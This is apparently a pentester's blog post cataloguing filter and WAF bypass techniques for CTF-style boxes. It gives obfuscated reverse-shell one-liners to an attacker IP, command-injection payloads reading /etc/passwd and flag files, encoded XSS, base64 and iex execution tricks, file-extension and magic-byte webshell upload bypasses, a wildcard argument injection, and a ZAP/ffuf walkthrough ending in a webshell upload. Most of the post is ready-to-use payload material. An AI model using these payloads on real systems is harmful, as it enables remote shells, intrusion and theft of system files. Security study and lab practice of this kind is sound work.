Filter Bypass Techniques
2024-03-19
INTRODUCTION
Why write this?
Too often, I’ve found myself in a situation where I needed to bypass some kind of filter and wanted a checklist to reference. However, when searching for such a checklist, I encounter two difficulties with the references I find:
- Information is far too task-specific. Many are only about XSS filter evasion, or only about WAFs.
- There’s just too much. Many of these references have hundreds of different techniques to try. And that’s great, if you’re trying to hack the Pentagon, but for a Easy-to-Medium HTB box it’s way overkill.
This post is primarily a reference for myself. Consider it a “greatest hits” collection of filter bypasses that I have personal experiences with. I won’t be explaining how they work.
Disclaimer
Other people have written far more comprehensive guides for this. If you want more detail, go find one of them.
Also, many of the bypasses I’ve recorded are categorized, but some are broadly applicable. And most of the time, you’ll need to use multiple bypasses simultaneously. Don’t think you should only read one section.
TOOLS
Automation
⭐ Try WhatWaf
, available at this repo. It will attempt to detect and evade WAFs for you. Very handy
Bypass / Obfuscation
For Linux, an incredible tool for all kinds of bash-based bypasses is Bashfuscator. Just feed it a command and let it figure out all kinds of crazy bypasses and obfuscations:
Note: You’ll need to clone the repo and run the setup script: python3 setup.py install --user
# You MUST switch to bash before attempting to use bashfuscator
bash
# Use randomized mutations and obfuscations:
bashfuscator -c 'bash -i >& /dev/tcp/10.10.14.27/4444 0>&1'
# Use a more modest set of obfuscation, for much shorter payloads:
bashfuscator -c 'bash -i >& /dev/tcp/10.10.14.27/4444 0>&1' -s 1 -t 1 --no-mangling --layers 1
⚠️
Bashfuscator
is great, but it’s not even close to 100% accurate! Be sure to test your payloads locally before trying them against a target.
There is a really similar tool for Windows called Dosfuscation. Using an interactive “wizard” prompt, generate the payload. Then the payloads can be used in Windows cmd
.
Note: You’ll need to follow the installation notes to set up this tool.
Invoke-DOSfuscation
Invoke-DOSfuscation> SET COMMAND type C:\Users\jimbob\Desktop\my-passwords.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
Then you can just copy-paste the resulting payload into cmd
.
Re-encoding
- Download my encoding-tools repo and “install” it. I’ll use it for URL-encoding and fullwidth-encoding
- Cyberchef is fantastic, but hard to integrate into scripts.
Burp
is great, but sometimes it’s too much clicking and copy-pasting.Python
is versatile and integrates very well into scripts, but you’ll need to write a little code.Bash
is perfect for integrating into scripts, best used in short pipelines of things.- Use an LLM such as ChatGPT if you don’t need to script it, or want to learn more about the encoding.
URL-encoding using Python3:
Try my my encoding-tools repo. To use the script, just call it from anywhere:
url_encode 'hello newline \n'
# hello+newline+%0A
echo -n 'hello newline \n' | url_encode
# hello+newline+%0A
URL-encoding with jq:
You can also url-encode py piping text into jq
:
echo -n 'hello newline \n' | jq -sRr @uri
Fullwidth encoding using Python3:
Again, try my my encoding-tools repo. To use the script, just call it from anywhere:
fullwidth_encode 'fullwidth!'
# fullwidth!
echo 'fullwidth!' | fullwidth_encode
# fullwidth!
Hex using Bash:
# encoding as hex
echo -n 'this is utf-8 text' | xxd -p
# decoding it
echo -n '74686973206973207574662d382074657874' | xxd -r -p
Remember to use
-n
withecho
to suppress the line ending character.
BYPASSES
Here is a practical example that uses a few bypasses. All of the tricks are outlined later in this section.
The below tricks abuse a form that takes raw input to a ping
command. This is the command we want to use:
cat /home/jimbob/flag.txt
It has a variety of filters in place, so it took a few bypasses to get past them all:
ip=127.0.0.1%0A{c%24%40at,${PATH:0:1}home${PATH:0:1}jimbob${PATH:0:1}flag.txt}
- To inject a new command: append with a newline (
%0A
) character - To bypass the filter blocking spaces: bash parameter expansion
{cat,/home/jimbob/flag.txt}
- To bypass the filter blocking slashes: bash parameter expansion of PATH variable
${PATH:0:1}
- To bypass the filter blocking the
cat
command: insert the url-encoded version of$@
(%24%40
) into the middle of the command.
Replacing Spaces
Spaces are often filtered out, whether in WAFs, application logic, or many other sinks. Thankfully, there are a bunch of creative ways around using spaces.
For a much, much more complete list, check out PayloadAllTheThings
Use tabs wherever you might use a space. In this way,
%20
becomes%09
:cat%09/etc/passwd
Use the ${IFS} Linux environment variable. By default, it represents a space and a tab:
cat${IFS}/etc/passwd
Use brace expansion to eliminate whitespace completely:
{'cat','/etc/passwd'}
Use input redirection instead of a space, when one side of a space is a file:
cat</etc/passwd bash</dev/tcp/10.10.14.78/4444
Use ANSI-C variable quotation:
X=$'cat\x20/etc/passwd'&&$X
Replacing Slashes
Linux (forward slash)
Use bash-style parameter expansion. Just like you can reference variables as
${variable}
or its length as${#variable}
, you can pick out arbitrary characters from known variables by using the parameter expansion substring operator:${varname:start:length}
:cat ${PATH:0:1}etc${PATH:0:1}passwd
Thankfully, there are quite a few really predictable environment variables. For example,
PATH
andHOME
should always start with a slash.Windows (backslash)
For Windows CMD, you can use a similar principle. Assume we know the username, then we know its length too. We can use this knowledge to extract a backslash. For example, say the username is
jimbo
, which is 5 characters long; we can extract the backslash at position 6, 5 chars from the end of the string :echo %HOMEPATH:~6,-5%
With Powershell, this is even easier. Words are internally considered arrays, so just access the first character:
$env:HOMEPATH[0]
Note: to see all environment variables in Powershell, use
Get-ChildItem Env:
Replacing Colons
Use bash-style parameter expansion. See Replacing Slashes for more detail. There are a few variables that contain colons. One especially useful one is
LS_COLORS
:# If a space is allowed: ${LS_COLORS: -1} # If spaces are blacklisted too: ${LS_COLORS:${#LS_COLORS}-1:1} # Use nested parameter expansion to obtain final character ${LS_COLORS:10:1} # Use a predetermined location to get the colon
Replacing Pipes
Pipes are often blocked, do to their importance in a variety of shells. To get around this, you can try using a bash “herestring”
<<<
operator with a subshell$(...)
:$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
Character Shifting
Linux
Characters can be accessed by shifting characters by using the
tr
command. You can map one set of characters to another set by usingtr
like this:tr '!-}' '"-~'
This maps the range of characters between
!
and}
onto the range of characters"
to~
. Note:!
is the first printable character,}
is the second-last. Likewise,"
is the second printable character, and~
is the last. I.e. the two ranges have equal lengths.In short, the above will shift the printable alphabet to increase the character code by 1.
You could swap the arguments to shift the printable alphabet to decrease the character code by 1:
tr '"-~' '!-}'
To utilize these shifts, you can use the
<<<
operator to input characters or text:echo $(tr '!-}' '"-~'<<<abc) # bcd echo $(tr '"-~' '!-}'<<<xyz) # wxy
You can also play with the ranges. This will increase by 2 characters:
tr '!-{' '#-~'
And to get a semicolon, you could shift from a
9
:echo $(tr '!-{' '#-~'<<<9)
Web App Firewall (WAF)
“Common bypasses include changing the case of the payload, using various encodings, substituting functions or characters, using an alternative syntax, and using linebreaks or tabs” - Ally Pettit
Exchange characters for unicode instead:
# ascii to UTF-8 unicode: echo -n 'Special ch@r5 :)' | xxd -p | sed 's/../\\u&/g' # \u53\u70\u65\u63\u69\u61\u6c\u20\u63\u68\u40\u72\u35\u20\u3a\u29 # ascii to UTF-16 unicode: echo -n "Special ch@r5 :)" | iconv -t UTF-16LE | xxd -p -c 2 | sed 's/\(..\)\(..\)/\\u\2\1/g' | tr -d '\n' #\u0053\u0070\u0065\u0063\u0069\u0061\u006c\u0020\u0063\u0068\u0040\u0072\u0035\u0020\u003a\u0029
URL encode the text
echo -n 'Just some normal text' | url_encode
or double URL encode it:
echo -n 'Just some normal text' | url_encode | url_encode
Use an alternate charset, like
ibm037
(Example taken from this blog post):First, generate the data / payload. This is how you’d do it with the python interpreter:
import urllib.parse s = '<script>alert("xss")</script>' urllib.parse.quote_plus(s.encode("IBM037")) # 'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'
Then, use that in an http request:
POST /comment/post HTTP/1.1 Host: boxname.htb Content-Type: application/x-www-form-urlencoded; charset=ibm037 Content-Length: 74 %A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
Base-64 encoding can also be effective:
# Encoding (Note that these encode the text 'whoami', not the command result.) echo whoami | base64 -w 0 base64 -w 0 <<< whoami # Decoding echo d2hvYW1pCg== | base64 -d
# Encoding [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) #Decoding iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('d2hvYW1pCg==')))"
Command Filters
Blacklisted commands can be bypassed by inserting characters the get parsed out of the command.
Insert quotes so that the whole word isnt recognized:
w'h'o'am'i
This works with doublequotes too. Note that number of quotes must be even, and you can’t mix types of quotes
Insert empty characters. In Linux, you can freely use
$@
if you’re not in the context of a script:who$@ami
Insert backslashes for regular characters:
who\ami
Insert caret if you’re using Windows:
who^ami
Reverse the whole command to bypass a blocked command
In Linux, run the text through
rev
:$(rev<<<'imaohw')
In Windows (Powershell), use string manipulation and
iex
for the subshell:iex "$('imaohw'[-1..-20] -join '')"
Filename Filters
👇 For fuzzing file extensions with file upload forms, check out the next section.
Use different extension or even use two extensions. Useful for poorly-written file extension logic that use “contains” instead or “ends with” checks.
totally_an_image.png.php
Check out the PayloadAllTheThings lists for PHP, or ASP/.NET file extension bypasses.
Use the right extension, but the wrong magic bytes:
hexedit webshell.php # Overwrite first four bytes with FFD8 DDE0; Append FFD9 to the end. mv webshell.php profilepic.jpg
(Note quite a bypass, per se) Abuse a wildcard * character by formatting filenames as command arguments. Check out this paper - definitely worth reading.
[root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 Mar 28 04:47 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c [root@defensecode public]# rsync -t *.c foo:src/
Insert a null-byte to truncate the string. See some examples where I’ve used it.
phpecho.pdf # becomes phpecho.php%00.pdf
Regex
These are some ways that I’ve bypassed regex-based filters.
Use CRLF characters, or even just a LF / newline. See this blog post for how this fools
ruby
andpython
(if multiline support is not included).I like to use {{7*'7'}} SSTIs # becomes I like to use \n{{7*'7'}} SSTIs
Be sure to put the newline character before the “bad” characters
Use tabs instead of spaces
Use alternating case or capitals. Yep, sometimes the developer forgets to do the obvious.
test_case # becomes TeSt_CaSe #or TEST_CASE
This is effective because Linux is case-senstive, but Windows is case-insensitive
As such, if we’re attacking Linux, we can convert to lowercase on the fly. Use any case input and shove it through
tr
(see Character Shifting) to map all of the uppercase letters into lowercase:$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
EXAMPLE: FILE EXTENSION FUZZING
I’m trying to use ZAP more often these days, so here’s how you can use ZAP + ffuf to fuzz for usable file extensions in a file upload vulnerability.
The scenario: there is a profile picture upload form. File extensions are being validated by a blacklist on both the frontend and backend.
We will easily bypass the frontend by using ZAP instead of the upload form. The trick here is how we bypass the backend too.
First, let’s perform a file upload with a regular (image) file and extension and proxy it through ZAP:
We can already see that the site is using PHP
for the file upload. The POST body is a whole bunch of raw data representing the image.
Using this knowledge, let’s grab a suitable wordlist of extensions to fuzz with. PayloadAllTheThings has tons of wordlists for this type of fuzzing, but a this is a good one for PHP. Download that file as php_extensions.lst
⭐ There is a very comprehensive wordlist of file extensions here, in Seclists:
/usr/share/seclists/Discovery/Web-Content/web-extensions-big.txt
It’s around 60k lines long, but includes practically every variant of every file format that you could think of. It also contains double-extension bypasses, null-byte character insertions, and all kinds of other fantastic bypasses. This is definitely a good wordlist to use for file-extension filter bypass for an actual pentest or bug bounty.
Right-click and send the proxied request to the Requester tab:
From here, let’s modify the request body a bit. Exchange the body of the content disposition with a simple line of PHP. By including recognizable text like this, it’ll make our fuzzing task much easier:
☝️ Click Send once to “save” the new request. This just makes it easier to perform multiple runs of the Fuzz window. If you’re worried about sending that first erroneous request, you can do all the modifications from within the Fuzz window instead.
Now right-click on the request and select Fuzz. The Fuzz window will open. Noting that the entries of php_extensions.lst
all have a .
prefixed to them, we will select the text .EXT
and click the Add button to select this portion for fuzzing; the Payloads modal window will open.
☝️ Note that there is a button that toggles the mode between Edit and Save. We need the mode to be in its “Saved” state before we can select the portion of the request to fuzz.
Comparing this to Burp, we’re doing the equivalent of their “Sniper” attack from Intruder.
From within the Payloads window, click the Add button and select what we want that portion of the request fuzzed with. We’ll use a simple wordlist / file mode, so choose type File
and select php_extensions.lst
:
Click Add to set the payload, then OK to close the Payloads window. You should now see the fuzzed portion highlighted:
Now that everything is defined, click Start Fuzzer and see the results arrive in the Fuzzer tab:
Noting the response body size, we can see that responses fall into two different categories. Opening these up, we can see that some were successful uploads and some were not, giving an indication of which file extensions bypassed the filter.
But there’s a catch: the fact that some of the file extensions bypassed the filter does not mean that they can execute the PHP payload. For checking that, let’s use ffuf
with a size matcher to test for our test string’s length:
echo -n '## ITS WORKING ##' | wc -c
# 17 characters long
ffuf -w php_extensions.lst -u http://94.237.57.59:43507/profile_images/beaverFUZZ \
-c -t 60 -timeout 4 -ic -ac -v -ms 17
Almost instantaneously, we have our result:
💡 If we wanted ffuf to just check for any uploads that passed the filter, we could use ffuf with a regex matcher instead:
ffuf -w php_extensions.lst -u http://94.237.57.59:43507/profile_images/beaverFUZZ \ -c -t 60 -timeout 4 -ic -ac -v -mr '## ITS WORKING ##'
This text will be present as long as the file uploaded, regardless of whether or not the PHP can actually execute.
We can Ctrl+click the successful result to navigate to that page and see that it did indeed work, and is executing our PHP:
As a final step, we can upload a webshell. Just go back to the Requester tab and exchange our PHP echo
payload for the contents of your favourite webshell. Also, be sure to set the file extension to the one we just determined through fuzzing:
Click Send then navigate to the resulting page to utilize the webshell 💰
CONCLUSION
These are some bypasses that I’ve found useful. If I had a proper “checklist” for doing bypasses of any kind, these would all be near the top. I hope you find it useful as well.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake